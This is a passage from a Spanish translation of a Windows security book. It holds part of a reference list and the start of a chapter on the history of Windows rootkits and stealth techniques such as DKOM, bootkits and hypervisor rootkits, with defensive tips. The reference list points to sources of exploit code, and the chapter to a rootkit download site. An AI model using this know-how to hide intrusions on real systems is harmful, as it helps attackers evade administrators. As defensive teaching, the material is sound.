“Windows Data Protection”, por http://msdn2.microsoft.com/en-us/library/
NAI Labs, Network Associates, ms995355.aspx
Inc., octubre de 2001
Fuentes relacionadas con WMI http://www.microsoft.com/whdc/system/pnppwr/
wmi/WMI-intro.mspx
http://en.wikipedia.org/wiki/Windows_Manage-
ment_Instrumentation’
www.microsoft.com/whdc/system/pnppur/wmi/
default.mspx
Análisis detallado de DebPloit en www.everything2.com/?node=debploit
Everything2
07_SCAMBRAY_07.indd 223 7/28/08 9:04:47 PM

Explotación de GDI en el archivo http://projects.info-pull.com/mokb/MOKB-06-11-
de errores Month of Kernel 2006.html
Debploit por EliCZ www.anticracking.sk/EliCZ/bugs/DebPloit.zip
Código fuente de explotación de www.xfocus.net/articles/200306/545.html
kernel de Windows por eyas
Encuesta anual conjunta de CSI www.gocsi.com
y FBI de estadísticas de delitos
computacionales, en la que se
muestra que la mayoría de éstos
aún es perpetrado por personas
del interior de la empresa
Información acerca de funciones de http://msdn.microsoft.com/workshop/networking/
URLMON moniker/reference/functions/urldownloadtofile.asp
Publicación original de Paul Ashton www.securityfocus.com/bid/233/discuss
e información acerca de la
modificación de clientes SMB
Avisos relevantes
Aviso de seguridad sobre www.securityfocus.com/advisories/2472
vulnerabilidad de la
personificación de canalización
con nombre de SCM
@@stake Security Advisory www.securityfocus.com/bid/2341
onNetDDE Message Vulnerability
Boletines de seguridad de
Microsoft, service pack y
correcciones activas
MS00-053, “Service Control www.microsoft.com/technet/security/bulletin/
Manager Named Pipe MS00-053.asp
Impersonation” Vulnerability
MS01-007, “Network DDE Agent www.microsoft.com/technet/security/bulletin/
Requests Can Enable Code to Run MS01-007.asp
in System Context”
MS02-024, “Authentication Flaw in www.microsoft.com/technet/security/bulletin/
Windows Debugger Can Lead to MS02-024.asp
Elevated Privileges (Q320206)”
MS03-013, “Buffer Overrun in www.microsoft.com/technet/security/bulletin/
Windows Kernel Message MS03-013.asp
Handling Could Lead to Elevated
Privileges (811493)”
07_SCAMBRAY_07.indd 224 7/28/08 9:04:47 PM

capítulo 8
PA S A R
CÓ M O O
V E RT I D
IN A D E R
A N T E N
Y M I A
E N C
PRES
225
08_SCAMBRAY_08.indd 225 7/28/08 9:08:39 PM

“La realidad es simplemente una ilusión, pero muy persistente”.

—Einstein
E
n este capítulo se analizan algunas herramientas y técnicas que utilizan los hackers malicio-
sos para pasar inadvertidos y mantener su presencia en sistemas comprometidos para que
los administradores de sistemas no noten sus acciones. Desde la publicación de la versión
anterior de este libro, no sólo han madurado las técnicas usadas para alcanzar el sigilo, sino que
además las motivaciones de los hackers maliciosos han cambiado, y el nivel de sofisticación nece-
sario para competir en el juego del “gato y el ratón” ha aumentado de manera importante para
atacantes y defensores. Si está leyendo este capítulo, probablemente ya ha oído hablar de los root-
kits, término que alude a una amplia variedad de software para pasar oculta la presencia.
En este capítulo se cubre la evolución de los rootkits de Windows y su importancia para lo-
grar el sigilo, pero también se va más allá del análisis de los rootkits al enumerar técnicas que el
autor y sus colegas han encontrado personalmente durante sus investigaciones en casos reales
de hackeo. En estos casos, los hackers maliciosos han logrado el sigilo utilizando diversas técni-
cas menos conocidas para ocultarse sin recurrir al uso de tecnología sofisticada de rootkits.
EL SURGIMIENTO DE LOS ROOTKITS

Antes de profundizar en la historia de los rootkits y la tecnología de sigilo para Windows, ofre-
ceremos una rápida definición de un rootkit y describiremos algunas propiedades y atributos de
un rootkit y otros software para pasar inadvertido. Si busca los orígenes del término rootkit en
Internet, encontrará referencias a los primeros días del hackeo de plataformas UNIX que empe-
zaban a observarse en la década de 1980 y principios de la de 1990. Tal vez uno de los recuentos
más memorables de los primeros días del hackeo aparece en el libro The Cuckoo’s Egg, de Clifford
Stoll, que es una narración de primera mano de una investigación que dio como resultado el
arresto de un hacker alemán después de que hackeó con éxito numerosas redes académicas y
militares de Estados Unidos con la intención de pasar inadvertido y vender información confi-
dencial a la KGB soviética.
El término root alude a la cuenta más privilegiada de una instalación típica de UNIX, similar
a la cuenta integrada Administrador de Windows. Un kit, en este caso, alude a la colección de
herramientas y módulos de software que coloca un hacker malicioso en un sistema comprome-
tido después de que ha obtenido acceso al sistema. Root, tal como se usa en el término rootkit,
alude al acto de elevar los privilegios a root (lo que suele hacerse mediante el uso de un tipo de
explotación de elevación de privilegios), o manteniendo el acceso a nivel de root después de que
se ha obtenido éste, o ambas opciones.
A principios de la década de 1990, los rootkits de UNIX solían ser nada más que una colec-
ción de binarios del sistema operativo central o simples secuencias de comandos de shell mo-
dificados (y recompilados con código adicional). Por ejemplo, los administradores de UNIX
usan el comando ls para desplegar listas de archivos en el sistema de archivos, de modo que los
rootkits iniciales de UNIX a menudo contenían una copia modificada del comando ls que sim-
plemente omitía el contenido de ciertas carpetas que el hacker malicioso no quería que los admi-
nistradores de sistemas vieran. Debido a que por lo general era posible obtener el código fuente
de la versión de UNIX que se estaba atacando, resultaba muy sencillo para los atacantes inser-
tar su propio código fuente en utilerías populares del sistema y recompilarlas para hacer sus
08_SCAMBRAY_08.indd 226 7/28/08 9:08:40 PM

Capítulo 8: Cómo pasar inadvertido y mantener presencia 227
propias copias de caballo de Troya personalizadas de comandos populares y UNIX como ls.
Pero ¿qué pasaba si el administrador ejecutaba el comando ps para presentar una lista de todos
los procesos que se ejecutaban y observaba el proceso de puerta trasera del atacante? Muchos
rootkits de esas primeras épocas también incluían una copia modificada del binario ps diseñada
para no mostrar una lista de los procesos de puerta trasera del hacker malicioso.
Con el tiempo, los administradores generalmente fueron tomando conciencia de esta técnica
mediante las alertas y advertencias de instituciones como CERT y empezaron a usar copias “bue-
nas conocidas” de comandos de sistema populares como ls y ps (tal vez de medios de sólo lec-
tura como un disco flexible o un CD) cuando investigaban un sistema. También mantenían bases
de datos de sumas de verificación y hashes criptográficos de archivos clave de sistema para de-
terminar si los binario del sistema operativo eran legítimos o estaban modificados, y de manera
rutinaria iniciaban la revisión de las sumas, o hashes, o los archivos clave del sistema. Para con-
trarrestar esto, los hackers maliciosos tenían que hacer que su conjunto de habilidades evolucio-
nara, y eso significó llevar su código más adentro del sistema operativo (es decir, al kernel).
Con el tiempo, a finales de la década de 1990, los hackers y varios investigadores de seguri-
dad empezaron a revisar el uso de los módulos de kernel que, una vez cargados, podrían modi-
ficar la API clave del kernel y las estructuras de datos, de modo que no importaba si los
administradores estaban usando copias buenas conocidas de utilerías clave del sistema operati-
vo, porque esas utilerías aún dependían de información emitida desde las API del kernel y si el
atacante podría controlar esas API, podría controlar la vista del sistema operativo del usuario
(tal como se ve mediante utilerías como ls y ps). Y por tanto, había nacido una carrera arma-
mentista, que aún se está jugando hasta el día de hoy en una amplia variedad de sistemas ope-
rativos como Windows y Linux.
Rootkits de Windows
¿Pero qué puede ocultarse a un administrador con un rootkit de Windows? La respuesta rápida
es cualquier cosa y todo. Si usted es un administrador y ha instalado un rootkit bien conocido en
su máquina, sólo verá lo que éste le permite ver con las herramientas normales del sistema. Los
siguientes elementos suelen ocultarse utilizando rootkits de Windows.
Procesos Servicios Conexiones de red

Archivos y carpetas Entradas de registro Cuentas de usuario
Controladores Objetos del administrador de objetos Páginas de memoria
Es importante tomar nota de que no todos los rootkits ocultan todos estos objetos. Cuanto
más elige ocultar un hacker malicioso, más complejo y sofisticado tiene que ser el código. Algu-
nos rootkits son muy pequeños y están diseñados para ocultar sólo ciertos elementos (por ejem-
plo, el rootkit FU original, analizado con más detalle en páginas posteriores, sólo oculta los
procesos en ejecución, pero los archivos de copia de seguridad de sus procesos siguen visibles
en el disco). Compare esto con el rootkit Hacker Defender para Windows, que puede ocultar casi
todos los elementos anteriores.
Algunos rootkits proporcionan servicios adicionales a los hackers maliciosos que los insta-
lan. Por ejemplo, algunos rootkits proporcionan una puerta trasera integrada que puede conec-
tarse remotamente (como Hacker Defender y YYT_HAC), mientras otros luchan por dar el paso
08_SCAMBRAY_08.indd 227 7/28/08 9:08:41 PM

extra para el hacker al proporcionar la capacidad de ajustar la lista de archivos, carpetas y pro-
cesos ocultos; realizar ataques de DoS; buscar archivos remotos; mentir sobre la cantidad de es-
pacio libre en un volumen; y reiniciar el sistema. Por ejemplo, Hacker Defender puede modificar
la vista del usuario del espacio disponible en disco (esta característica a menudo ha sido usada
por los hackers para establecer servidores de warez).
Es difícil detectar exactamente cuándo usaron los hackers maliciosos por primera vez los
rootkits para comprometer una máquina de Windows (después de todo, el objetivo de un rootkit
es permitir a los hackers maliciosos pasar inadvertidos la mayor cantidad de tiempo posible),
pero suele aceptarse que uno de los primeros individuos que confió en la tecnología de rootkits
para Windows bajo la luz pública fue Greg Hoglund, cuando publicó una descripción (y defini-
ción) de un rootkit basado en NT para la revista en línea Phrack en el otoño de 1999 (consulte
“Referencias y lecturas adicionales”). Esta publicación no sólo trató de descubrir y afinar aún
más la definición de un rootkit para Windows, sino que también describió un simple parche de
4 bits que podía hacer que el kernel de Windows NT deshabilitara todos los accesos y las revi-
siones de seguridad permitiendo que usuarios no privilegiados accedieran a objetos privilegia-
dos. A partir de entonces, Hoglund pasó a crear lo que generalmente se considera uno de los
primeros rootkits en modo de kernel verdaderos de Windows NT (NTRootkit) y registrar el do-
minio rootkit.com, en marzo de 1999; y ayudó a crear una comunidad creciente y activa en línea
de personas dedicadas a trabajar aún más en el área de lograr el sigilo y pasar inadvertidos. Tam-
bién empezó a dar clases tituladas “Aspectos de la tecnología ofensiva de los rootkits”, que en-
señaba a estudiantes cómo desarrollar sus propios rootkits en modo de kernel (con base en su
propio código fuente de NTRootkit) en varias conferencias de seguridad en Blackhat, en febrero
de 2003, en Seattle.
Uno de los primeros casos de hackeo en que este autor participó y en el que se usaron root-
kits terminó siendo reportado por los medios a principios de 2003 (consulte “Referencias y lec-
turas adicionales”). Un cliente había llamado a Microsoft cuando de pronto uno de sus
servidores SQL empezó a fallar de manera muy regular. El ingeniero de escalada en Microsoft
que depuró los volcados de las caídas se quedó sorprendido por lo que encontró al final. De al-
guna manera el controlador de dispositivo responsable de la falla no se encontraba por ningún
lado del sistema (porque estaba usando su técnica de sigilo para ocultarse) y no pudimos dar
seguimiento al responsable del controlador en la compañía al buscar en Web (pudimos obtener
el nombre del controlador y su contenido de los volcados de la memoria). Al volcar la memoria
en que se había cargado el dispositivo reveló una cadena interesante, SLANRET, que con el tiem-
po los comercializadores de antivirus usaron para denominar a este rootkit.
Sherri Sparks y James Buttler han presentado un estupendo resumen de la evolución de los
rootkits (consúltese “Referencias y lecturas adicionales”), que se dividen en generaciones con
base en sus propiedades y se muestra a continuación:
• Rootkits de primera generación

• Remplazaban archivos modificados en el disco duro
• Rootkits de segunda generación
• Función en modo de kernel y de usuario de creación de ganchos/parchado estático
de objetos
• Rootkits de tercera generación
• Parchado dinámico de objetos (vía DKOM, sobre el que hablaremos más adelante)
• Modo exclusivamente de kernel
08_SCAMBRAY_08.indd 228 7/28/08 9:08:41 PM

• Rootkits de cuarta generación

• ¿Subversión de la memoria virtual (Shadow Walker)?
• ¿Rookits basados en hipervisor (Blue Pill, Vitriol)?
• ¿Rootkits basados en hardware?
• ¿Bootkits (Bootroot, VBootkit)?
Los rootkits, al parecer, habían salido oficialmente a la luz pública y los administradores de
sistemas estaban en una fuerte desventaja en el juego del gato y el ratón si sus servidores estaban
comprometidos.
EL ENTORNO CAMBIANTE DE LA AMENAZA

A finales de la década de 1990 y principios de la de 2000, eran pocos los hogares que tenían ac-
ceso a Internet; quienes lo tenían por lo general accedían a Web mediante conexiones lentas de
marcado telefónico o dispositivos de bolsillo de conexiones de alta velocidad. El entorno de la
amenaza para los usuarios de Windows en esa época reflejaba esta relativa falta de ubicuidad: el
malware que estaba escrito para Windows aún era en gran medida exploratorio y los gusanos de
envío de correo masivo se estaban volviendo comunes, como era el ocasional gusano de Win-
dows, pero esto era predominantemente malware escrito para diversión o curiosidad, no para
obtener utilidades. En ocasiones el malware se extendía y causaba interrupciones de servicio a
varias instituciones porque los servidores infectados dejaban de funcionar de manera repetida o
experimentaban otros problemas, pero el malware solía estar diseñado para dispersarse lejos y
rápido sin que se pasara inadvertido.
En esos días, sobre todo a principios de la década de 2000, era poco común que los hackers
maliciosos tuvieran como objetivo las universidades y comprometieran sus servidores de Win-
dows. Después de todo, las universidades en la época solían tener conexiones de Internet muy
rápidas y casi todas tenían reglas de filtrado internas muy laxas (si es que las tenían). En el otro
extremo de esas conexiones de Internet solía estar un servidor NT 4.0 o Windows 2000 que era
accesible vía Internet. En los días anteriores a las actualizaciones automáticas y de Windows Up-
date, no era poco común encontrar servidores sin parches en el extremo de esas conexiones. Por
lo general los administradores de red alertarían a los administradores de sistema que sospecha-
ban que sus equipos habían sido comprometidos después de analizar los datos de flujo de red y
encontrar tráfico de red sospechoso que viajaba entre máquinas. Los administradores de red por
lo general notarían una súbita disminución en el ancho de banda disponible o un aumento en las
conexiones a una dirección IP específica desde equipos de todo el mundo, o tal vez un aumento
en el uso de un protocolo de red específico (tal vez un protocolo P2P o IRC). El sistema por lo
general lanzaría el administrador de tareas o ejecutarían detectar y no encontrarían nada fuera
de lo común, ni procesos extraños en el administrador de tareas serían visibles y las conexio-
nes de red extrañas no se mostrarían en el estado. Los servidores casi siempre ejecutaban soft-
ware antivirus actualizado.
Durante esa época, miembros del equipo de seguridad de los servicios de soporte de pro-
ducto (PSS, Product Support Services) de Microsoft estaban trabajando en herramientas para
detectar síntomas de un rootkit, y era muy bueno para identificar un rootkit en particular, Hac-
ker Defender, que parecía un rootkit muy popular usado por varios grupos o equipos de hackers
en esa época. Hacker Defender era bueno en el modo de usuario, escrito en Delphi, que salió a
08_SCAMBRAY_08.indd 229 7/28/08 9:08:42 PM

escena en 2002. Fue desarrollado y mejorado hasta una versión oficial 1.0 en enero de 2004, mo-
mento en el cual el autor empezó a recibir pagos por versiones privadas del rootkit. Una copia
de algunas versiones de Hacker Defender (había muchas, muchas versiones) estaría invariable-
mente configurada para ocultar carpetas, procesos y conexiones de red en la máquina víctima.
Las carpetas estaban llenas de software, películas y música con distribución ilegal (a menudo
antes de que la película fuera siquiera liberada en los teatros), y Hacker Defender permitía con-
venientemente al equipo de hackeo mentir al administrador acerca de la cantidad de espacio li-
bre que quedaba en el disco (debido a que con frecuencia por lo general llenaban la unidad con
archivos .RAR e imágenes .ISO de varios programas de software y películas). Los procesos que
se estaban ocultando por lo general eran copias de Serv-U FTP o ioFTPD, que eran muy popula-
res en la época para albergar sitios de warez configurados para ejecutarse como la cuenta SYS-
TEM. Las secuencias de comandos de instalación automatizada (por lo general simples archivos
de programación por lotes) que automatizarían la instalación de puertas traseras, los servidores
FTP y el rootkit solían ejecutarse en el contexto de la cuenta todopoderosa SYSTEM. La explota-
ción inicial tomaba como objetivo una vulnerabilidad en un componente de sistema operativo
que se ejecutaba como SYSTEM, como MS03-026, de modo que el villano no tendría problemas
para ocultar su malware en la carpeta System Volume Information (una carpeta de sistema esen-
cial oculta de la raíz de la unidad C: en instalaciones predeterminadas de Windows). Esta carpe-
ta está configurada como opción predeterminada, de modo que sólo la cuenta SYSTEM tiene
acceso a ella. Además de colocar su malware en una carpeta difícil de alcanzar (muchos admi-
nistradores tal vez no sabían cómo obtener acceso a esta carpeta), los atacantes por lo general
colocaban su malware en una estructura de directorio que usaba nombres reservados como
NULL, COM1 y AUX, que no cualquiera se atrevería a eliminar. En realidad, esto se volvió tan
común que los ingenieros de soporte de Microsoft escribieron numerosos artículos de la base de
conocimientos para explicar a los clientes cómo limpiar carpetas con estos nombres reservados.
Con el tiempo, empezamos a observar un cambio en los tipos de casos que encontrábamos. Aún
teníamos los casos de hackeo en que participaban universidades y varios equipos de warez
(COREiSO, etc.) pero de vez en cuando teníamos casos de instituciones privadas, donde aparen-
temente se estaba usando malware personalizado. En otras palabras, encontramos rootkits que
no eran muy bien conocidos ni comunes en esos servidores, y el objetivo del malware era defi-
nitivamente proporcionar acceso encubierto sin ser detectado. Lo interesante de la manera en
que esos clientes solían darse cuenta de que algo serio estaba pasando con sus servidores solía
ser la misma que la de los otros clientes de años anteriores: empezarían a experimentar proble-
mas de estabilidad con sus sistemas operativos (pantallas azules) que necesitaban depurarse o
los administradores de red detectaban flujos sospechosos a direcciones IP con las que los servi-
dores en cuestión no deberían estar hablando.
En relación con las pantallas azules, resulta que la manera en que la mayor parte de los
rootkits operan en el kernel los hace susceptibles de diversos errores que pueden desestabilizar
el sistema operativo y causar que falle en situaciones en que el servidor tiene varios CPU o se
encuentra bajo carga pesada, o ambas. Con frecuencia, el código que puede funcionar bien en
la estación de trabajo de un solo procesador del desarrollador no funciona tan bien cuando
se carga en un servidor de varios procesadores que se encuentran bajo carga pesada. Los tipos
de servidores y los de instituciones que se tomaban como objetivos indicaban un desplazamien-
to: los atacantes ahora ya no estaban interesados en simplemente intercambiar películas, música
y software pirata; estaban cada vez más tras los datos y no querían que se les notara.
08_SCAMBRAY_08.indd 230 7/28/08 9:08:43 PM

En 2002 y 2003, mientras Microsoft enfrentaba el problema de la seguridad al liberar una

versión más segura de su sistema operativo de servidor (Windows Server 2003) y empezaba a
trabajar en una versión más segura de su sistema operativo de consumidor (Windows XP SP2) y
se movía a un ciclo de parches mensuales, los atacantes empezaron a subir por la pila, buscando
otras maneras de hacer llegar su malware y sus rootkits en el sistema, mientras muchos usuarios
instalaban Windows XP SP2 y tenían firewalls personales integradas en sus enrutadores caseros,
la ingeniería social como un medio para lograr que se instalara el malware, junto con las explo-
taciones basadas en explorador, se volvieron más comunes.
Tal vez como resultado de las firewalls y las actualizaciones automáticas, y de la reducción
de las vulnerabilidades anónimas remotas que tomaban como objetivo los servicios del sistema
en Windows, en 2004 las explotaciones de Internet Explorer se volvieron cada vez más popula-
res como método para que el malware (y algunos rootkits) se instalaran en las máquinas vícti-
mas. De acuerdo con algunos estimados, los usuarios de IE llegan a representar de 80 a 85% de
todo el tráfico de exploración en Internet, de modo que la explotación que podía instalar malware
mediante IE (contando con que la mayoría de los usuarios que explora Web inició sesión como
administradores) es para todo propósito práctico tan buena o mejor que las explotaciones que
usaban los servicios del sistema de destino en los días de Windows 2000 (Blaster, Nachi, etc.).
En 2004, una nueva manera de pasar inadvertido se demostró en la conferencia de seguridad
Blackhat, cuando James Butler presentó una plática en DKOM (Direct Kernel Object Manipula-
tion, manipulación directa de objetos de kernel) y develó un nuevo concepto de rootkit denomi-
nado FU que usaba esta técnica para ocultar los procesos de modo de usuario al alterar los
objetos de datos en el kernel. Lo interesante de este método usado por este rootkit es que no de-
pende de “ganchos” persistentes o de código adicional inyectado en el kernel para lograr el sigi-
lo. Debe notarse que DKOM no está limitado a ocultar procesos. Esta técnica puede usarse para
ocultar controladores de dispositivos y puertos de red, ¡e incluso puede usarse para elevar el
privilegio de los subprocesos! En 2005 este rootkit se agregó a varios bots (como Rbot), haciendo
que la detección y la eliminación se volvieran aún más desafiantes para los comercializadores de
antivirus, llevando a muchos como F-Secure a investigar la creación de herramientas oficiales
antirrootkits como Blacklight.
En diciembre de 2005, Symantec publicó varios hallazgos sorprendentes en el boletín de vi-
rus relacionado con el uso de DKOM por parte de malware que se encontraba circulando en el
espacio abierto. Sin embargo, el hecho de que se encontrara malware en esta situación utilizando
técnicas de DKOM no era lo sorprendente, sino que el malware no estaba cargando un controla-
dor dispositivo para modificar el kernel: estaba operando por completo en el modo de usuario
y manipulando el kernel a través de \Dispositivo\MemoriaFísica. Con el fin de conocer infor-
mación sobre la manera en que esto funciona y para tener una buena gráfica que ilustra el uso
de la tecnología de rootkits en numerosas familias de malware puede leer el reporte en www.
symantec.com/avcenter/reference/when.malware.meets.rootkits.pdf.
A finales de 2004 y principios de 2005, un rootkit conocido como Delprot empezó a distri-
buirse mediante anuncios maliciosos de letreros y sitios Web que estaban hospedando una ex-
plotación para una vulnerabilidad de IE. Resultaba interesante porque era un rootkit de modo
de kernel que estaba diseñado para proteger adware (barra de herramientas iSearch/adware
ISPro) que incluía en la PC de una víctima y evitaba que fuera detectado y eliminado (delprot.
sys era el nombre del controlador dispositivo del kernel, delprot = delete protection?, o ¿elimi-
nar protección?) por varias aplicaciones antispyware.
08_SCAMBRAY_08.indd 231 7/28/08 9:08:43 PM

Lo interesante, como en muchos de los rootkits en modo de kernel, éste era inestable y causaría
que varias máquinas fallaran (pantallas azules) de manera intermitente, que es la manera en que
la gente (incluido Microsoft) empezó a tomar conciencia de la existencia de los rootkits. En 2005,
David Aucsmith dio una presentación en WinHEC (Windows, Hardware Engineering Conferen-
ce), donde mostró algunas estadísticas alarmantes acerca del número de fallas de pantalla azul que
estaba causando este rootkit (más de 140 000 en diciembre de 2004). En mayo de 2005, la Malicious
Software Removal Tool (MSRT) de Microsoft había agregado esta familia de rootkit y adware a la
lista de malware que limpia cada mes para proporcionar alivio a los clientes afectados.
sugerencia Muchos rootkits tienen el concepto de un proceso de root, que es un proceso inmune al filtrado de
rootkit. Un proceso de root puede ver todo los archivos y procesos en una máquina, aun los que están
ocultos. En el caso del rootkit Delprot.sys, el proceso IE (iexplore.exe) era un proceso de root (porque
es necesario para tener la capacidad de encontrar los objetos auxiliares de explorador de la barra de
herramientas iSearchPro), de modo que podía “ver” los archivos en el sistema de archivos. Para
eliminar este malware del sistema, todo lo que necesitaba era usar IE para explorar el sistema de
archivos (en lugar de Explorer.exe) para cambiar el nombre de los archivos, eliminarlos, o ambos.
En 2005, en la conferencia Blackhat de Las Vegas, se analizó y demostró una técnica adicional
para pasar inadvertido o desapercibido. El método se implementó en un rootkit de concepto de-
nominado Shadow Walker, cuyos autores eran Sherri Sparks y James Buttler. En esta presentación,
los autores establecieron que la mayor parte del código del rootkit y los parches de memoria eran
detectables con rastreos de memoria virtual basados en firma que sabían dónde buscar, y propu-
sieron una solución a este problema en la forma de Shadow Walker. Los autores se dieron cuenta
de que al explorar la memoria virtual, era más bien fácil identificar ubicaciones que habían sido
parchadas o que tenían ganchos. En Blackhat, propusieron una solución, de acuerdo con la cual
¡después de instalar su propio controlador de falla de página, podían regresar diferentes direccio-
nes de memoria virtual para el mismo marco físico de memoria, si se trataba de leer la memoria o
de ejecutarla! Como resultado, la técnica puede usarse para ocultar modificaciones de código he-
chas por malware de herramientas de detección basadas en rastreos de memoria virtual.
También en 2005, se puso otra piedra angular para pasar inadvertido en sistemas operativos
de Windows NT, cuando los investigadores de eEye demostraron un rootkit en Blackhat llama-
do Bootroot. Era capaz de cargarse desde el registro maestro de arranque (MBR, Master Boot
Record) de un disco flexible, un CD o un disco duro y persistir todo el tiempo del proceso de
inicio de Windows. Imagine que es capaz de caminar a una máquina de Windows NT, inserta un
CD en la unidad de CD-ROM, oprime el botón de encendido para reiniciar la computadora y en
cuanto el BIOS intenta arrancar desde el CD (al leer el MBR de éste), el daño está hecho y el sis-
tema operativo tiene ahora un rootkit instalado para el momento en que oprima ctrl+alt+supr
para iniciar la sesión. Otros investigadores refinaron aún más esta técnica a finales de 2006 y
principios de 2007 e hicieron que funcionara en versiones previas a la liberación de sistema ope-
rativo Windows Vista de 32 bits mediante el rootkit Bootroot.
sugerencia Al momento de escribir esto, podría mitigarse el uso de Bootroot al emplear BitLocker Drive
Encryption (BDE), en Windows Vista. BDE verifica la integridad de los archivos y las estructuras de
datos clave que se requieren durante el proceso de arranque de Windows y aborta el proceso si se
sospecha que ha sido modificado. Sin embargo, debemos tener en cuenta que BDE fue diseñado
para mitigar la amenaza del robo de datos o el develamiento de información de sistemas robados o
perdidos al prevenir el acceso a datos desde un sistema operativo alterno. Por tanto, no debe
concluirse que BDE tenía la intención de atender todos los escenarios de rootkit de Windows.
08_SCAMBRAY_08.indd 232 7/28/08 9:08:44 PM

El año 2005 fue muy explosivo para los rootkits, tanto en términos de crecimiento como de
sofisticación, y podía considerarse que, a finales de ese año, el término rootkit ya era del dominio
público por primera vez después de que se descubrió y fue ampliamente reportado por varios
medios que Sony BMG estaba distribuyendo un rootkit desarrollado por una compañía llamada
First 4 Internet Ltd. en algunos de sus CD de audio para imponer una forma de administración
de derechos digitales (DRM, Digital Rights Management). El rootkit fue descubierto por Mark
Russinovich después de que desarrolló una herramienta de detección de rootkits llamada Root-
kit Revealer. Al final, Sony retiró los CD del canal de ventas al menudeo y el rootkit de Sony se
agregó a la lista de rootkits que podían eliminarse con MSRT.
El año 2006 vio un aumento en los ataques de falsificación de personalidad (phishing) que
tenían como objetivo todo tipo de instituciones, con el objetivo de engañar a los usuarios para
que escribieran su información personal en sitios Web falsos configurados para tener el mismo
aspecto de las instituciones financieras legítimas. Algunos de los ataques fueron incluso más allá
que engañar a los usuarios para revelar su información financiera y trataba de convencer a la
gente de que instalara una nueva clase de software malicioso conocido como caballos de Troya
bancarios, muchos de los cuales ahora estaban usando técnicas de sigilo para dificultar aún más
la detección y la eliminación.
En 2006, la notable investigadora de seguridad Joanna Rutkowska presentó en varias confe-
rencias de seguridad un rootkit de prueba de concepto denominado Blue Pill que hacía uso de
extensiones de virtualización de hardware encontradas en las CPU AMD modernas. Este root-
kit, en esencia, actuaba como un hipervisor, o una pieza de software que se situaba debajo del
sistema operativo, permitiendo a un atacante tratar efectivamente el sistema operativo instalado
como una máquina virtual que podía manipularse por medio del rootkits en un nivel inferior del
que normalmente estaba permitido en una CPU que no soportaba virtualización de hardware.
sugerencia Al momento de escribir esto, la mayor parte de los fabricantes de BIOS de sistema permitían que las
extensiones de virtualización se habilitaran o deshabilitaran en el BIOS si la CPU soporta esa
característica. Si no es necesario el soporte a virtualización para ejecutar las máquinas virtuales en
un producto como Virtual PC o VMWare, debe deshabilitarse en el BIOS.
Además en 2006 se encontró un nuevo y poderoso rootkit que obtuvo alguna atención de los
medios. Symantec declaró que había encontrado un nuevo rootkit avanzado denominado Rus-
tock, que era indetectable por todas las demás herramientas de detección de rootkits que estaban
disponibles en el momento, haciendo la detección y eliminación casi imposible para todos excep-
to los más avanzados usuarios. Variantes de Rustock tenían como objetivo algunas de las herra-
mientas de detección de rootkits más populares (Blacklight, Rootkit Revealer, IceSword y GMER).
Pero algunas de esas herramientas de detección estaban siendo actualizadas de manera activa
con capacidades de detección para nuevas variantes de Rustock y otros rootkits. Por ejemplo,
GMER y Blacklight podían detectar muchas variantes de Rustock. GMER evidentemente tam-
bién era una de las pocas herramientas que podían emplear un método basado en revisión cruza-
da para rastrear flujos de datos alternos (resultó que muchos detectores de rootkits no examinan
bien el contenido de ADS). Los creadores de Rustock, al parecer, estaban monitoreando herra-
mientas antirrootkits capaces de detectarlo y a los investigadores de seguridad que hablaban de
él, y tomaban medidas para evitar que esas herramientas se usaran, al lanzar ataques distribuidos
de negación de servicio (DDoS, Distributed Denial of Service) contra los sitios en que se publica-
ba la información sobre Rustock y donde podía descargarse GMER (¡posiblemente utilizan-
do máquinas infectadas con el rootkit Rustock!). De acuerdo con el blog de John E. Stewart, este
rootkit se está usando para ocultar y proteger arranques para distribución de correo basura que
08_SCAMBRAY_08.indd 233 7/28/08 9:08:45 PM

están generando dinero mediante estafas como las relacionadas con acciones, de modo que es
probable que los autores de Rustock estén simplemente tratando de proteger su flujo de ingresos.
Esto tal vez también explique en parte el aumento en ese tipo correo observado en 2006 y 2007.
A pesar de lo avanzado de Rustock, nuevos rootkits como Unreal.A ya han aparecido en es-
cena; sus autores aseguran que usan técnicas más avanzadas que Rustock para pasar inadverti-
dos. Aún está por verse el impacto y sus técnicas. Lo interesante es que los autores de este rootkit
de demostración también producen una herramienta para detectar a éste y otros rootkits deno-
minado Rootkit Unhooker. El rootkit Unreal y la herramienta Rootkit Unhooker pueden obte-
nerse en www.rku.xell.ru/?1=e&a=dl.
sugerencia
Muchos rootkits avanzados en modo de kernel instalan un controlador de dispositivo y pueden
detectarse con sólo habilitar el registro de arranque, que puede habilitarse utilizando msconfig.exe
en toda las versiones de Windows. Ese modo de diagnóstico de Windows requiere un reinicio, pero
crea una lista de todo los controladores que se cargaron, en un archivo llamado ntbtlog.txt en la
carpeta %SYSTEMROOT%. Puede rastrear ntbtlog.txt. y comparar la lista de controladores que se
cargaron con la lista que el sistema operativo en realidad piensa que está cargado, una vez que
se termine el arranque (¡cualquier discrepancia debe investigarse!).
En 2007, un par de investigadores de seguridad demostró un nuevo bootkit, en una conferen-

cia de seguridad llamada Hack In The Box (HITB). Este rootkit parte del concepto pionero del
rootkit Bootroot de eEye analizado antes, pero tenía algunas diferencias clave. Una diferencia
importante es que este rootkit funciona en Vista (sólo la versión de 32 bits al momento de escribir
esto, y sólo en construcciones previas al lanzamiento), y el código que se ejecuta en el kernel no
sirve como una puerta trasera de la red; en cambio, sirve simplemente para elevar el privilegio
de CMD.EXE en un intervalo periódico. (Para lograr esto, el código en el kernel modifica estruc-
turas especiales de éste denominadas bloques de EPROCESS, que son estructuras del kernel que
respaldan cada proceso en el modo de usuario). Otra diferencia es que ese rootkits no modifica
ni altera el MBR del disco duro primario, de modo que es un ejemplo de un rootkit no persisten-
te que no deja evidencia forense en disco una vez que la máquina se ha reiniciado (con excepción,
tal vez, de cualquier código que se haya paginado en el archivo pagefile.sys). Los pasos para ins-
talar y activar el rootkit aún son los mismos que para bootroot y probablemente otros bootkits
basados en esta técnica (el atacante necesita tener la capacidad de reiniciar la máquina de la víc-
tima y hacer que inicie sesión a partir de un CD o un dispositivo PXE instalado en la red.
sugerencia Puede tratar de mitigar esos tipos de amenazas. La configuración de una máquina para iniciar sólo
desde la unidad de disco como primer dispositivo de arranque y luego el acceso protegido con
contraseña al BIOS hace mucho por mitigar esos ataques (imagine que un compañero de trabajo
reinicia su máquina en su oficina desde un CD mientras usted está afuera tomando un café). Sin
embargo, hay maneras bien conocidas de evitar las contraseñas de BIOS si puede obtenerse acceso
físico por un periodo largo o si el atacante decide abrir el gabinete. Por fortuna, el equipo de integridad
de sistemas de Microsoft que trabajó en la implementación en Vista de cifrado de volumen completo
